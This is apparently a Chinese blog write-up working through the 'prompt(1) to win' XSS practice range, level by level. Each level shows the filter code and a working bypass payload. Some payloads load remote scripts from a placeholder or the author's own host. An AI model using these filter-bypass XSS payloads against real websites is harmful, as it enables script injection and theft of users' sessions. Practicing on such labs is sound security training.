prompt(1) to win - XSS靶场练习

接触的比赛越多越发觉自己的实力还是太弱了,还是要努力变强。

一直对XSS的理解很模糊,主要还是没做过多少这类的类型题,在谭总那找到个靶场打算开始练练。

开始开始!

序言

prompt(1) to win这个在线靶场能够直观的查看自己的XSS代码被过滤后的结果,比较方便练习。


0x0

第一关没过滤东西,只需要闭合一下前面的\"就行了。

"><script>prompt(1)</script>


0x1

对于过滤<>中的内容时,可以使用<BODY标签进行绕过<BODY onload="prompt(1)"

onload 事件在页面载入完成后立即触发。

或者使用<img标签进行绕过<img src=# onerror="prompt(1)"

1
2
3
<BODY onload="prompt(1)"

<img src=# onerror="prompt(1)"

0x2

这关把=(ban掉了,但是可以使用svg标签绕过

SVG属于支持XML解析,所以那么我们就很好理解了,因为下xml支持在标签内解析HTML实体字符,所以在在XML中&#40;会被解析成

编码网站

浅谈XSS的小技巧与浏览器编码

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

payload:

1
<svg><script>prompt&#40;1)</script>

0x3

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

这关把输入口放在了注释标签中,且把注释标签的闭合过滤了,找找其他的闭合。

1
2
3
//
<!-- --!> 2012年后可用
/**/

payload:

1
--!><script>prompt(1)</script>

0x4

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这关利用正则对字符串进行了过滤,开头必须为http://prompt.ml/

原本以为是可以在中间构造语句闭合进行绕过的,但是发现会转为实体字符,这条线走不通。

看了看师傅们的wp,浏览器是支持这种url写法的

1
https://username:password@attacker.com,但是https://username:password/@attacker.com不行,这里由于用了decodeURIComponent,所以可以用%2f解码绕过。

这里要用到自己的服务器,直接传个prompt(1)的js文件上去,然后访问。

tips:这种url写法chrome并不支持,火狐还可以用。

还有一种方法是直接开phpstudy的服务器,这样就可以不用自己的服务器打。

payload:

1
http://prompt.ml%2f@localhost/xss.js

0x5

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

这关过滤了>onxxxx=focus,可以用"闭合value,然后自定义type="image",最后利用换行符绕过onxxxx=

payload:

1
" type="image" src=# onerror="prompt(1)

0x6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

这关通过demo发现总共有actionmethodnamevalue是可控的。

1
2
3
4
5
6
7
8
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

if语句通过了,则会submit我们的action值。这里可以利用 javascript: js伪协议进行js代码执行,然后可以通过控制 name 的值,破坏窗口的action属性,进而绕过 if

上测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="javascript:prompt(1)" method="post"><input name="action" value="test"></form>
<script type="text/javascript">
alert(document.forms[0].action)
</script>
</body>
</html>

可以发现输出了我们想要的东西。

payload:

1
javascript:prompt(1)#{"action":"Matt"}

0x7

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

这关限制了只能有12个字符,可以用js的多行注释来注释掉多出来的标签。

payload:

1
"><script>/*#*/prompt(1/*#*/)</script>

result:

1
2
3
<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt(1/*"></p>
<p class="comment" title="*/)</script>"></p>

tips:注释符也算在长度中。


0x8

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

这题绕单行注释,可以换行进行绕过,但是ban 掉了两个换行符,这里可以用到 unicode 编码进行绕过,然后用 js 的注释 ->注释掉后面的 ");

\u2028,Unicode行分隔符

\u2029,Unicode段落分隔符

这题好像有坑,无法复现,过!


0x9

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

toUpperCase()存在漏洞,不仅会转换英文字母,也会转换一些 Unicode 字符,比如 ſ 传入后可转换为相似的 S ,这样就可以绕过开始的 replace

payload:

1
<ſcript src="YOUR_IP/xss.js"></script>

0xA

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这关比较简单,就把单引号替换为空,只要在 prompt(1) 中间加个单引号就行了。

payload:

1
pro'mpt(1)

0xB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

小 trick ,利用字母操作符构造 (prompt(1)) in "." ,虽然会报错,但是仍可以弹窗。

由于 js 定义对象时同一属性名的会先取后面的,所以可以利用这个 trick 实现 XSS。

payload:

1
"(prompt(1))in"

0xC

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

这关用到三个函数。

parseInt() // 可以将字符串通过进制转换为数字

toString() // 可以将数字通过进制转换回字符串

eval() // 可以将字符串当作正常语句执行

直接给出测试

payload:

1
eval(630038579..toString(30))(1) ==> prompt(1)

0xD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

这关有两个知识点

  • js 对象的默认属性 __proto__

  • js 的 replace 字符串特殊替换模式

    首先是 js 对象的默认属性

每个对象都会在其内部初始化一个属性,就是__proto__,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__里面找这个属性,这个__proto__又会有自己的__proto__,一直这样找下去。

上测试!!

所以当题目 delete config.source时,后面用到的 config.source 就是 __proto__ 属性里的,这样就可控了。

然后是 js 的 replace 字符串特殊替换模式,主要看这个,或者直接去网站看

Pattern Inserts
$$ Inserts a "$".
$& Inserts the matched substring.
$` Inserts the portion of the string that precedes the matched substring.
$‘ Inserts the portion of the string that follows the matched substring.
$n Where n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1-indexed. If a group n is not present (e.g., if group is 3), it will be replaced as a literal (e.g., $3).
$<Name> Where Name is a capturing group name. If the group is not in the match, or not in the regular expression, or if a string was passed as the first argument to replace instead of a regular expression, this resolves to a literal (e.g., $<Name>). Only available in browser versions supporting named capturing groups.

直接上测试比较好理解点。

这样就可以做到既保留了 <img 标签,又可以控制输入,这样就可以做到XSS了。

直接上payload:

1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

0xE

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

第一个 replace 是将 //(任意字母数字): 替换为 data:

第二个 replace 是将 \&+% 和空白字符替换为 _____ 。

又因为有 toUpperCase() 在,所以注入 XSS 是不大好搞的,尝试引用外部脚本。

尝试了下,把我自己的服务器放上去拿不到全大写字母加数字的 base64 编码,就先放 payload 在这了

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

0xF

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {    
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

这关虽然把 * 替换掉了,但是可以利用 <svg> 标签去使用 <!-- -->替代多行注释。

payload:

1
"><svg><!--#--><script><!--#-->prompt(1<!--#-->);<!--#--></script>
1
2
3
4
5
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->);<!--" data-comment='{"id":3}'></p>
<p class="comment" title="--></script>" data-comment='{"id":4}'></p>

Summary

写完这个靶场算是多了解了点 XSS(有点刚学 RCE的感觉¿

但是感觉接触的还不够,只是些绕过过滤什么的,最主要的利用 拿shell 弹shell? 应该是可以的,目前还没遇到过,还是得多练练。